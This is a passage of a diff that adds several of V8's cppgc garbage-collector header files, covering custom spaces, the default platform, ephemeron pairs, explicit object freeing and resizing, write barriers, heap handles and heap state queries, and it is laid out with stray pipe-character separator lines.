CustomSpaceIndex GetCustomSpaceIndex() const final {
|
||||
return ConcreteCustomSpace::kSpaceIndex;
|
||||
}
|
||||
bool IsCompactable() const final {
|
||||
return ConcreteCustomSpace::kSupportsCompaction;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* User-overridable trait that allows pinning types to custom spaces.
|
||||
*/
|
||||
template <typename T, typename = void>
|
||||
struct SpaceTrait {
|
||||
using Space = void;
|
||||
};
|
||||
|
||||
namespace internal {
|
||||
|
||||
template <typename CustomSpace>
|
||||
struct IsAllocatedOnCompactableSpaceImpl {
|
||||
static constexpr bool value = CustomSpace::kSupportsCompaction;
|
||||
};
|
||||
|
||||
template <>
|
||||
struct IsAllocatedOnCompactableSpaceImpl<void> {
|
||||
// Non-custom spaces are by default not compactable.
|
||||
static constexpr bool value = false;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct IsAllocatedOnCompactableSpace {
|
||||
public:
|
||||
static constexpr bool value =
|
||||
IsAllocatedOnCompactableSpaceImpl<typename SpaceTrait<T>::Space>::value;
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_CUSTOM_SPACE_H_
|
||||
@@ -0,0 +1,67 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_DEFAULT_PLATFORM_H_
|
||||
#define INCLUDE_CPPGC_DEFAULT_PLATFORM_H_
|
||||
|
||||
#include <memory>
|
||||
|
||||
#include "cppgc/platform.h"
|
||||
#include "libplatform/libplatform.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* Platform provided by cppgc. Uses V8's DefaultPlatform provided by
|
||||
* libplatform internally. Exception: `GetForegroundTaskRunner()`, see below.
|
||||
*/
|
||||
class V8_EXPORT DefaultPlatform : public Platform {
|
||||
public:
|
||||
using IdleTaskSupport = v8::platform::IdleTaskSupport;
|
||||
explicit DefaultPlatform(
|
||||
int thread_pool_size = 0,
|
||||
IdleTaskSupport idle_task_support = IdleTaskSupport::kDisabled,
|
||||
std::unique_ptr<TracingController> tracing_controller = {})
|
||||
: v8_platform_(v8::platform::NewDefaultPlatform(
|
||||
thread_pool_size, idle_task_support,
|
||||
v8::platform::InProcessStackDumping::kDisabled,
|
||||
std::move(tracing_controller))) {}
|
||||
|
||||
cppgc::PageAllocator* GetPageAllocator() override {
|
||||
return v8_platform_->GetPageAllocator();
|
||||
}
|
||||
|
||||
double MonotonicallyIncreasingTime() override {
|
||||
return v8_platform_->MonotonicallyIncreasingTime();
|
||||
}
|
||||
|
||||
std::shared_ptr<cppgc::TaskRunner> GetForegroundTaskRunner() override {
|
||||
// V8's default platform creates a new task runner when passed the
|
||||
// `v8::Isolate` pointer the first time. For non-default platforms this will
|
||||
// require getting the appropriate task runner.
|
||||
return v8_platform_->GetForegroundTaskRunner(kNoIsolate);
|
||||
}
|
||||
|
||||
std::unique_ptr<cppgc::JobHandle> PostJob(
|
||||
cppgc::TaskPriority priority,
|
||||
std::unique_ptr<cppgc::JobTask> job_task) override {
|
||||
return v8_platform_->PostJob(priority, std::move(job_task));
|
||||
}
|
||||
|
||||
TracingController* GetTracingController() override {
|
||||
return v8_platform_->GetTracingController();
|
||||
}
|
||||
|
||||
v8::Platform* GetV8Platform() const { return v8_platform_.get(); }
|
||||
|
||||
protected:
|
||||
static constexpr v8::Isolate* kNoIsolate = nullptr;
|
||||
|
||||
std::unique_ptr<v8::Platform> v8_platform_;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_DEFAULT_PLATFORM_H_
|
||||
@@ -0,0 +1,30 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_EPHEMERON_PAIR_H_
|
||||
#define INCLUDE_CPPGC_EPHEMERON_PAIR_H_
|
||||
|
||||
#include "cppgc/liveness-broker.h"
|
||||
#include "cppgc/member.h"
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* An ephemeron pair is used to conditionally retain an object.
|
||||
* The `value` will be kept alive only if the `key` is alive.
|
||||
*/
|
||||
template <typename K, typename V>
|
||||
struct EphemeronPair {
|
||||
EphemeronPair(K* k, V* v) : key(k), value(v) {}
|
||||
WeakMember<K> key;
|
||||
Member<V> value;
|
||||
|
||||
void ClearValueIfKeyIsDead(const LivenessBroker& broker) {
|
||||
if (!broker.IsHeapObjectAlive(key)) value = nullptr;
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_EPHEMERON_PAIR_H_
|
||||
@@ -0,0 +1,100 @@
|
||||
// Copyright 2021 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_EXPLICIT_MANAGEMENT_H_
|
||||
#define INCLUDE_CPPGC_EXPLICIT_MANAGEMENT_H_
|
||||
|
||||
#include <cstddef>
|
||||
|
||||
#include "cppgc/allocation.h"
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
class HeapHandle;
|
||||
|
||||
namespace subtle {
|
||||
|
||||
template <typename T>
|
||||
void FreeUnreferencedObject(HeapHandle& heap_handle, T& object);
|
||||
template <typename T>
|
||||
bool Resize(T& object, AdditionalBytes additional_bytes);
|
||||
|
||||
} // namespace subtle
|
||||
|
||||
namespace internal {
|
||||
|
||||
class ExplicitManagementImpl final {
|
||||
private:
|
||||
V8_EXPORT static void FreeUnreferencedObject(HeapHandle&, void*);
|
||||
V8_EXPORT static bool Resize(void*, size_t);
|
||||
|
||||
template <typename T>
|
||||
friend void subtle::FreeUnreferencedObject(HeapHandle&, T&);
|
||||
template <typename T>
|
||||
friend bool subtle::Resize(T&, AdditionalBytes);
|
||||
};
|
||||
} // namespace internal
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* Informs the garbage collector that `object` can be immediately reclaimed. The
|
||||
* destructor may not be invoked immediately but only on next garbage
|
||||
* collection.
|
||||
*
|
||||
* It is up to the embedder to guarantee that no other object holds a reference
|
||||
* to `object` after calling `FreeUnreferencedObject()`. In case such a
|
||||
* reference exists, it's use results in a use-after-free.
|
||||
*
|
||||
* To aid in using the API, `FreeUnreferencedObject()` may be called from
|
||||
* destructors on objects that would be reclaimed in the same garbage collection
|
||||
* cycle.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \param object Reference to an object that is of type `GarbageCollected` and
|
||||
* should be immediately reclaimed.
|
||||
*/
|
||||
template <typename T>
|
||||
void FreeUnreferencedObject(HeapHandle& heap_handle, T& object) {
|
||||
static_assert(IsGarbageCollectedTypeV<T>,
|
||||
"Object must be of type GarbageCollected.");
|
||||
internal::ExplicitManagementImpl::FreeUnreferencedObject(heap_handle,
|
||||
&object);
|
||||
}
|
||||
|
||||
/**
|
||||
* Tries to resize `object` of type `T` with additional bytes on top of
|
||||
* sizeof(T). Resizing is only useful with trailing inlined storage, see e.g.
|
||||
* `MakeGarbageCollected(AllocationHandle&, AdditionalBytes)`.
|
||||
*
|
||||
* `Resize()` performs growing or shrinking as needed and may skip the operation
|
||||
* for internal reasons, see return value.
|
||||
*
|
||||
* It is up to the embedder to guarantee that in case of shrinking a larger
|
||||
* object down, the reclaimed area is not used anymore. Any subsequent use
|
||||
* results in a use-after-free.
|
||||
*
|
||||
* The `object` must be live when calling `Resize()`.
|
||||
*
|
||||
* \param object Reference to an object that is of type `GarbageCollected` and
|
||||
* should be resized.
|
||||
* \param additional_bytes Bytes in addition to sizeof(T) that the object should
|
||||
* provide.
|
||||
* \returns true when the operation was successful and the result can be relied
|
||||
* on, and false otherwise.
|
||||
*/
|
||||
template <typename T>
|
||||
bool Resize(T& object, AdditionalBytes additional_bytes) {
|
||||
static_assert(IsGarbageCollectedTypeV<T>,
|
||||
"Object must be of type GarbageCollected.");
|
||||
return internal::ExplicitManagementImpl::Resize(
|
||||
&object, sizeof(T) + additional_bytes.value);
|
||||
}
|
||||
|
||||
} // namespace subtle
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_EXPLICIT_MANAGEMENT_H_
|
||||
@@ -0,0 +1,106 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_GARBAGE_COLLECTED_H_
|
||||
#define INCLUDE_CPPGC_GARBAGE_COLLECTED_H_
|
||||
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/platform.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
class Visitor;
|
||||
|
||||
/**
|
||||
* Base class for managed objects. Only descendent types of `GarbageCollected`
|
||||
* can be constructed using `MakeGarbageCollected()`. Must be inherited from as
|
||||
* left-most base class.
|
||||
*
|
||||
* Types inheriting from GarbageCollected must provide a method of
|
||||
* signature `void Trace(cppgc::Visitor*) const` that dispatchs all managed
|
||||
* pointers to the visitor and delegates to garbage-collected base classes.
|
||||
* The method must be virtual if the type is not directly a child of
|
||||
* GarbageCollected and marked as final.
|
||||
*
|
||||
* \code
|
||||
* // Example using final class.
|
||||
* class FinalType final : public GarbageCollected<FinalType> {
|
||||
* public:
|
||||
* void Trace(cppgc::Visitor* visitor) const {
|
||||
* // Dispatch using visitor->Trace(...);
|
||||
* }
|
||||
* };
|
||||
*
|
||||
* // Example using non-final base class.
|
||||
* class NonFinalBase : public GarbageCollected<NonFinalBase> {
|
||||
* public:
|
||||
* virtual void Trace(cppgc::Visitor*) const {}
|
||||
* };
|
||||
*
|
||||
* class FinalChild final : public NonFinalBase {
|
||||
* public:
|
||||
* void Trace(cppgc::Visitor* visitor) const final {
|
||||
* // Dispatch using visitor->Trace(...);
|
||||
* NonFinalBase::Trace(visitor);
|
||||
* }
|
||||
* };
|
||||
* \endcode
|
||||
*/
|
||||
template <typename T>
|
||||
class GarbageCollected {
|
||||
public:
|
||||
using IsGarbageCollectedTypeMarker = void;
|
||||
using ParentMostGarbageCollectedType = T;
|
||||
|
||||
// Must use MakeGarbageCollected.
|
||||
void* operator new(size_t) = delete;
|
||||
void* operator new[](size_t) = delete;
|
||||
// The garbage collector is taking care of reclaiming the object. Also,
|
||||
// virtual destructor requires an unambiguous, accessible 'operator delete'.
|
||||
void operator delete(void*) {
|
||||
#ifdef V8_ENABLE_CHECKS
|
||||
internal::Fatal(
|
||||
"Manually deleting a garbage collected object is not allowed");
|
||||
#endif // V8_ENABLE_CHECKS
|
||||
}
|
||||
void operator delete[](void*) = delete;
|
||||
|
||||
protected:
|
||||
GarbageCollected() = default;
|
||||
};
|
||||
|
||||
/**
|
||||
* Base class for managed mixin objects. Such objects cannot be constructed
|
||||
* directly but must be mixed into the inheritance hierarchy of a
|
||||
* GarbageCollected object.
|
||||
*
|
||||
* Types inheriting from GarbageCollectedMixin must override a virtual method
|
||||
* of signature `void Trace(cppgc::Visitor*) const` that dispatchs all managed
|
||||
* pointers to the visitor and delegates to base classes.
|
||||
*
|
||||
* \code
|
||||
* class Mixin : public GarbageCollectedMixin {
|
||||
* public:
|
||||
* void Trace(cppgc::Visitor* visitor) const override {
|
||||
* // Dispatch using visitor->Trace(...);
|
||||
* }
|
||||
* };
|
||||
* \endcode
|
||||
*/
|
||||
class GarbageCollectedMixin {
|
||||
public:
|
||||
using IsGarbageCollectedMixinTypeMarker = void;
|
||||
|
||||
/**
|
||||
* This Trace method must be overriden by objects inheriting from
|
||||
* GarbageCollectedMixin.
|
||||
*/
|
||||
virtual void Trace(cppgc::Visitor*) const {}
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_GARBAGE_COLLECTED_H_
|
||||
@@ -0,0 +1,309 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_HEAP_CONSISTENCY_H_
|
||||
#define INCLUDE_CPPGC_HEAP_CONSISTENCY_H_
|
||||
|
||||
#include <cstddef>
|
||||
|
||||
#include "cppgc/internal/write-barrier.h"
|
||||
#include "cppgc/macros.h"
|
||||
#include "cppgc/member.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
class HeapHandle;
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* **DO NOT USE: Use the appropriate managed types.**
|
||||
*
|
||||
* Consistency helpers that aid in maintaining a consistent internal state of
|
||||
* the garbage collector.
|
||||
*/
|
||||
class HeapConsistency final {
|
||||
public:
|
||||
using WriteBarrierParams = internal::WriteBarrier::Params;
|
||||
using WriteBarrierType = internal::WriteBarrier::Type;
|
||||
|
||||
/**
|
||||
* Gets the required write barrier type for a specific write.
|
||||
*
|
||||
* \param slot Slot containing the pointer to the object. The slot itself
|
||||
* must reside in an object that has been allocated using
|
||||
* `MakeGarbageCollected()`.
|
||||
* \param value The pointer to the object. May be an interior pointer to an
|
||||
* interface of the actual object.
|
||||
* \param params Parameters that may be used for actual write barrier calls.
|
||||
* Only filled if return value indicates that a write barrier is needed. The
|
||||
* contents of the `params` are an implementation detail.
|
||||
* \returns whether a write barrier is needed and which barrier to invoke.
|
||||
*/
|
||||
static V8_INLINE WriteBarrierType GetWriteBarrierType(
|
||||
const void* slot, const void* value, WriteBarrierParams& params) {
|
||||
return internal::WriteBarrier::GetWriteBarrierType(slot, value, params);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the required write barrier type for a specific write. This override is
|
||||
* only used for all the BasicMember types.
|
||||
*
|
||||
* \param slot Slot containing the pointer to the object. The slot itself
|
||||
* must reside in an object that has been allocated using
|
||||
* `MakeGarbageCollected()`.
|
||||
* \param value The pointer to the object held via `BasicMember`.
|
||||
* \param params Parameters that may be used for actual write barrier calls.
|
||||
* Only filled if return value indicates that a write barrier is needed. The
|
||||
* contents of the `params` are an implementation detail.
|
||||
* \returns whether a write barrier is needed and which barrier to invoke.
|
||||
*/
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
static V8_INLINE WriteBarrierType GetWriteBarrierType(
|
||||
const internal::BasicMember<T, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& value,
|
||||
WriteBarrierParams& params) {
|
||||
return internal::WriteBarrier::GetWriteBarrierType(
|
||||
value.GetRawSlot(), value.GetRawStorage(), params);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the required write barrier type for a specific write.
|
||||
*
|
||||
* \param slot Slot to some part of an object. The object must not necessarily
|
||||
have been allocated using `MakeGarbageCollected()` but can also live
|
||||
off-heap or on stack.
|
||||
* \param params Parameters that may be used for actual write barrier calls.
|
||||
* Only filled if return value indicates that a write barrier is needed. The
|
||||
* contents of the `params` are an implementation detail.
|
||||
* \param callback Callback returning the corresponding heap handle. The
|
||||
* callback is only invoked if the heap cannot otherwise be figured out. The
|
||||
* callback must not allocate.
|
||||
* \returns whether a write barrier is needed and which barrier to invoke.
|
||||
*/
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrierType
|
||||
GetWriteBarrierType(const void* slot, WriteBarrierParams& params,
|
||||
HeapHandleCallback callback) {
|
||||
return internal::WriteBarrier::GetWriteBarrierType(slot, params, callback);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the required write barrier type for a specific write.
|
||||
* This version is meant to be used in conjunction with with a marking write
|
||||
* barrier barrier which doesn't consider the slot.
|
||||
*
|
||||
* \param value The pointer to the object. May be an interior pointer to an
|
||||
* interface of the actual object.
|
||||
* \param params Parameters that may be used for actual write barrier calls.
|
||||
* Only filled if return value indicates that a write barrier is needed. The
|
||||
* contents of the `params` are an implementation detail.
|
||||
* \returns whether a write barrier is needed and which barrier to invoke.
|
||||
*/
|
||||
static V8_INLINE WriteBarrierType
|
||||
GetWriteBarrierType(const void* value, WriteBarrierParams& params) {
|
||||
return internal::WriteBarrier::GetWriteBarrierType(value, params);
|
||||
}
|
||||
|
||||
/**
|
||||
* Conservative Dijkstra-style write barrier that processes an object if it
|
||||
* has not yet been processed.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param object The pointer to the object. May be an interior pointer to a
|
||||
* an interface of the actual object.
|
||||
*/
|
||||
static V8_INLINE void DijkstraWriteBarrier(const WriteBarrierParams& params,
|
||||
const void* object) {
|
||||
internal::WriteBarrier::DijkstraMarkingBarrier(params, object);
|
||||
}
|
||||
|
||||
/**
|
||||
* Conservative Dijkstra-style write barrier that processes a range of
|
||||
* elements if they have not yet been processed.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param first_element Pointer to the first element that should be processed.
|
||||
* The slot itself must reside in an object that has been allocated using
|
||||
* `MakeGarbageCollected()`.
|
||||
* \param element_size Size of the element in bytes.
|
||||
* \param number_of_elements Number of elements that should be processed,
|
||||
* starting with `first_element`.
|
||||
* \param trace_callback The trace callback that should be invoked for each
|
||||
* element if necessary.
|
||||
*/
|
||||
static V8_INLINE void DijkstraWriteBarrierRange(
|
||||
const WriteBarrierParams& params, const void* first_element,
|
||||
size_t element_size, size_t number_of_elements,
|
||||
TraceCallback trace_callback) {
|
||||
internal::WriteBarrier::DijkstraMarkingBarrierRange(
|
||||
params, first_element, element_size, number_of_elements,
|
||||
trace_callback);
|
||||
}
|
||||
|
||||
/**
|
||||
* Steele-style write barrier that re-processes an object if it has already
|
||||
* been processed.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param object The pointer to the object which must point to an object that
|
||||
* has been allocated using `MakeGarbageCollected()`. Interior pointers are
|
||||
* not supported.
|
||||
*/
|
||||
static V8_INLINE void SteeleWriteBarrier(const WriteBarrierParams& params,
|
||||
const void* object) {
|
||||
internal::WriteBarrier::SteeleMarkingBarrier(params, object);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generational barrier for maintaining consistency when running with multiple
|
||||
* generations.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param slot Slot containing the pointer to the object. The slot itself
|
||||
* must reside in an object that has been allocated using
|
||||
* `MakeGarbageCollected()`.
|
||||
*/
|
||||
static V8_INLINE void GenerationalBarrier(const WriteBarrierParams& params,
|
||||
const void* slot) {
|
||||
internal::WriteBarrier::GenerationalBarrier<
|
||||
internal::WriteBarrier::GenerationalBarrierType::kPreciseSlot>(params,
|
||||
slot);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generational barrier for maintaining consistency when running with multiple
|
||||
* generations. This version is used when slot contains uncompressed pointer.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param slot Uncompressed slot containing the direct pointer to the object.
|
||||
* The slot itself must reside in an object that has been allocated using
|
||||
* `MakeGarbageCollected()`.
|
||||
*/
|
||||
static V8_INLINE void GenerationalBarrierForUncompressedSlot(
|
||||
const WriteBarrierParams& params, const void* uncompressed_slot) {
|
||||
internal::WriteBarrier::GenerationalBarrier<
|
||||
internal::WriteBarrier::GenerationalBarrierType::
|
||||
kPreciseUncompressedSlot>(params, uncompressed_slot);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generational barrier for source object that may contain outgoing pointers
|
||||
* to objects in young generation.
|
||||
*
|
||||
* \param params The parameters retrieved from `GetWriteBarrierType()`.
|
||||
* \param inner_pointer Pointer to the source object.
|
||||
*/
|
||||
static V8_INLINE void GenerationalBarrierForSourceObject(
|
||||
const WriteBarrierParams& params, const void* inner_pointer) {
|
||||
internal::WriteBarrier::GenerationalBarrier<
|
||||
internal::WriteBarrier::GenerationalBarrierType::kImpreciseSlot>(
|
||||
params, inner_pointer);
|
||||
}
|
||||
|
||||
private:
|
||||
HeapConsistency() = delete;
|
||||
};
|
||||
|
||||
/**
|
||||
* Disallows garbage collection finalizations. Any garbage collection triggers
|
||||
* result in a crash when in this scope.
|
||||
*
|
||||
* Note that the garbage collector already covers paths that can lead to garbage
|
||||
* collections, so user code does not require checking
|
||||
* `IsGarbageCollectionAllowed()` before allocations.
|
||||
*/
|
||||
class V8_EXPORT V8_NODISCARD DisallowGarbageCollectionScope final {
|
||||
CPPGC_STACK_ALLOCATED();
|
||||
|
||||
public:
|
||||
/**
|
||||
* \returns whether garbage collections are currently allowed.
|
||||
*/
|
||||
static bool IsGarbageCollectionAllowed(HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Enters a disallow garbage collection scope. Must be paired with `Leave()`.
|
||||
* Prefer a scope instance of `DisallowGarbageCollectionScope`.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
static void Enter(HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Leaves a disallow garbage collection scope. Must be paired with `Enter()`.
|
||||
* Prefer a scope instance of `DisallowGarbageCollectionScope`.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
static void Leave(HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Constructs a scoped object that automatically enters and leaves a disallow
|
||||
* garbage collection scope based on its lifetime.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
explicit DisallowGarbageCollectionScope(HeapHandle& heap_handle);
|
||||
~DisallowGarbageCollectionScope();
|
||||
|
||||
DisallowGarbageCollectionScope(const DisallowGarbageCollectionScope&) =
|
||||
delete;
|
||||
DisallowGarbageCollectionScope& operator=(
|
||||
const DisallowGarbageCollectionScope&) = delete;
|
||||
|
||||
private:
|
||||
HeapHandle& heap_handle_;
|
||||
};
|
||||
|
||||
/**
|
||||
* Avoids invoking garbage collection finalizations. Already running garbage
|
||||
* collection phase are unaffected by this scope.
|
||||
*
|
||||
* Should only be used temporarily as the scope has an impact on memory usage
|
||||
* and follow up garbage collections.
|
||||
*/
|
||||
class V8_EXPORT V8_NODISCARD NoGarbageCollectionScope final {
|
||||
CPPGC_STACK_ALLOCATED();
|
||||
|
||||
public:
|
||||
/**
|
||||
* Enters a no garbage collection scope. Must be paired with `Leave()`. Prefer
|
||||
* a scope instance of `NoGarbageCollectionScope`.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
static void Enter(HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Leaves a no garbage collection scope. Must be paired with `Enter()`. Prefer
|
||||
* a scope instance of `NoGarbageCollectionScope`.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
static void Leave(HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Constructs a scoped object that automatically enters and leaves a no
|
||||
* garbage collection scope based on its lifetime.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
*/
|
||||
explicit NoGarbageCollectionScope(HeapHandle& heap_handle);
|
||||
~NoGarbageCollectionScope();
|
||||
|
||||
NoGarbageCollectionScope(const NoGarbageCollectionScope&) = delete;
|
||||
NoGarbageCollectionScope& operator=(const NoGarbageCollectionScope&) = delete;
|
||||
|
||||
private:
|
||||
HeapHandle& heap_handle_;
|
||||
};
|
||||
|
||||
} // namespace subtle
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_HEAP_CONSISTENCY_H_
|
||||
@@ -0,0 +1,48 @@
|
||||
// Copyright 2022 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_HEAP_HANDLE_H_
|
||||
#define INCLUDE_CPPGC_HEAP_HANDLE_H_
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
namespace internal {
|
||||
class HeapBase;
|
||||
class WriteBarrierTypeForCagedHeapPolicy;
|
||||
class WriteBarrierTypeForNonCagedHeapPolicy;
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* Opaque handle used for additional heap APIs.
|
||||
*/
|
||||
class HeapHandle {
|
||||
public:
|
||||
// Deleted copy ctor to avoid treating the type by value.
|
||||
HeapHandle(const HeapHandle&) = delete;
|
||||
HeapHandle& operator=(const HeapHandle&) = delete;
|
||||
|
||||
private:
|
||||
HeapHandle() = default;
|
||||
|
||||
V8_INLINE bool is_incremental_marking_in_progress() const {
|
||||
return is_incremental_marking_in_progress_;
|
||||
}
|
||||
|
||||
V8_INLINE bool is_young_generation_enabled() const {
|
||||
return is_young_generation_enabled_;
|
||||
}
|
||||
|
||||
bool is_incremental_marking_in_progress_ = false;
|
||||
bool is_young_generation_enabled_ = false;
|
||||
|
||||
friend class internal::HeapBase;
|
||||
friend class internal::WriteBarrierTypeForCagedHeapPolicy;
|
||||
friend class internal::WriteBarrierTypeForNonCagedHeapPolicy;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_HEAP_HANDLE_H_
|
||||
@@ -0,0 +1,82 @@
|
||||
// Copyright 2021 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_HEAP_STATE_H_
|
||||
#define INCLUDE_CPPGC_HEAP_STATE_H_
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
class HeapHandle;
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* Helpers to peek into heap-internal state.
|
||||
*/
|
||||
class V8_EXPORT HeapState final {
|
||||
public:
|
||||
/**
|
||||
* Returns whether the garbage collector is marking. This API is experimental
|
||||
* and is expected to be removed in future.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \returns true if the garbage collector is currently marking, and false
|
||||
* otherwise.
|
||||
*/
|
||||
static bool IsMarking(const HeapHandle& heap_handle);
|
||||
|
||||
/*
|
||||
* Returns whether the garbage collector is sweeping. This API is experimental
|
||||
* and is expected to be removed in future.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \returns true if the garbage collector is currently sweeping, and false
|
||||
* otherwise.
|
||||
*/
|
||||
static bool IsSweeping(const HeapHandle& heap_handle);
|
||||
|
||||
/*
|
||||
* Returns whether the garbage collector is currently sweeping on the thread
|
||||
* owning this heap. This API allows the caller to determine whether it has
|
||||
* been called from a destructor of a managed object. This API is experimental
|
||||
* and may be removed in future.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \returns true if the garbage collector is currently sweeping on this
|
||||
* thread, and false otherwise.
|
||||
*/
|
||||
static bool IsSweepingOnOwningThread(const HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Returns whether the garbage collector is in the atomic pause, i.e., the
|
||||
* mutator is stopped from running. This API is experimental and is expected
|
||||
* to be removed in future.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \returns true if the garbage collector is currently in the atomic pause,
|
||||
* and false otherwise.
|
||||
*/
|
||||
static bool IsInAtomicPause(const HeapHandle& heap_handle);
|
||||
|
||||
/**
|
||||
* Returns whether the last garbage collection was finalized conservatively
|
||||
* (i.e., with a non-empty stack). This API is experimental and is expected to
|
||||
* be removed in future.
|
||||
*
|
||||
* \param heap_handle The corresponding heap.
|
||||
* \returns true if the last garbage collection was finalized conservatively,
|
||||
* and false otherwise.
|
||||
*/
|
||||
static bool PreviousGCWasConservative(const HeapHandle& heap_handle);
|
||||
|
||||
private:
|
||||
HeapState() = delete;
|
||||
};
|
||||
|
||||
} // namespace subtle
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_HEAP_STATE_H_
|
||||
@@ -0,0 +1,120 @@
|
||||
// Copyright 2021 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_HEAP_STATISTICS_H_
|
||||
#define INCLUDE_CPPGC_HEAP_STATISTICS_H_
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* `HeapStatistics` contains memory consumption and utilization statistics for a
|
||||
* cppgc heap.
|
||||
*/
|
||||
struct HeapStatistics final {
|
||||
/**
|
||||
* Specifies the detail level of the heap statistics. Brief statistics contain
|
||||
* only the top-level allocated and used memory statistics for the entire
|
||||
* heap. Detailed statistics also contain a break down per space and page, as
|
||||
* well as freelist statistics and object type histograms. Note that used
|
||||
* memory reported by brief statistics and detailed statistics might differ
|
||||
* slightly.
|
||||
*/
|
||||
enum DetailLevel : uint8_t {
|
||||
kBrief,
|
||||
kDetailed,
|
||||
};
|
||||
|
||||
/**
|
||||
* Object statistics for a single type.
|
||||
*/
|
||||
struct ObjectStatsEntry {
|
||||
/**
|
||||
* Number of allocated bytes.
|
||||
*/
